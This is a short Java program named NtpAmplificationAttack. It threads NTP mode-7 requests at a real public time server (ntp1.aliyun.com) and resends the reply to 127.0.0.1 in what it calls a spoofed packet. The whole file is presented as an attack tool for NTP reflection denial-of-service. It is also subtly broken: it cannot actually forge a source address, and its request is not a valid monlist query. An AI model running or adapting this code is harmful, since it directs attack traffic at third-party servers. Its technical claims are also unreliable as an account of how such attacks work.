ntp

import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class NtpAmplificationAttack {
    private static final int PACKET_SIZE = 48;
    private static final String NTP_SERVER = "ntp1.aliyun.com";
    private static final int NTP_PORT = 123;

    public static void main(String[] args) throws IOException {
        ExecutorService executor = Executors.newFixedThreadPool(10);
        for (int i = 0; i < 10; i++) {
            executor.submit(new NtpRequestTask());
        }
        executor.shutdown();
    }

    private static class NtpRequestTask implements Runnable {
        @Override
        public void run() {
            DatagramSocket socket = null;
            try {
                socket = new DatagramSocket();
                InetAddress address = InetAddress.getByName(NTP_SERVER);
                byte[] requestData = createNTPRequestData();
                DatagramPacket requestPacket = new DatagramPacket(requestData, requestData.length, address, NTP_PORT);
                socket.send(requestPacket);

                byte[] responseData = new byte[PACKET_SIZE * 100];
                DatagramPacket responsePacket = new DatagramPacket(responseData, responseData.length);
                socket.receive(responsePacket);

                InetAddress srcAddress = InetAddress.getByName("127.0.0.1");
                DatagramPacket spoofedPacket = new DatagramPacket(responsePacket.getData(), responsePacket.getLength(),
                        srcAddress, 0);
                socket.send(spoofedPacket);
            } catch (IOException e) {
                e.printStackTrace();
            } finally {
                if (socket != null) {
                    socket.close();
                }
            }
        }
    }

    private static byte[] createNTPRequestData() {
        byte[] data = new byte[PACKET_SIZE];
        data[0] = 0x17; // NTP Version 2, Mode 7
        for (int i = 1; i < 48; i++) {
            data[i] = 0x00; // Set all bytes to 0
        }
        return data;
    }
}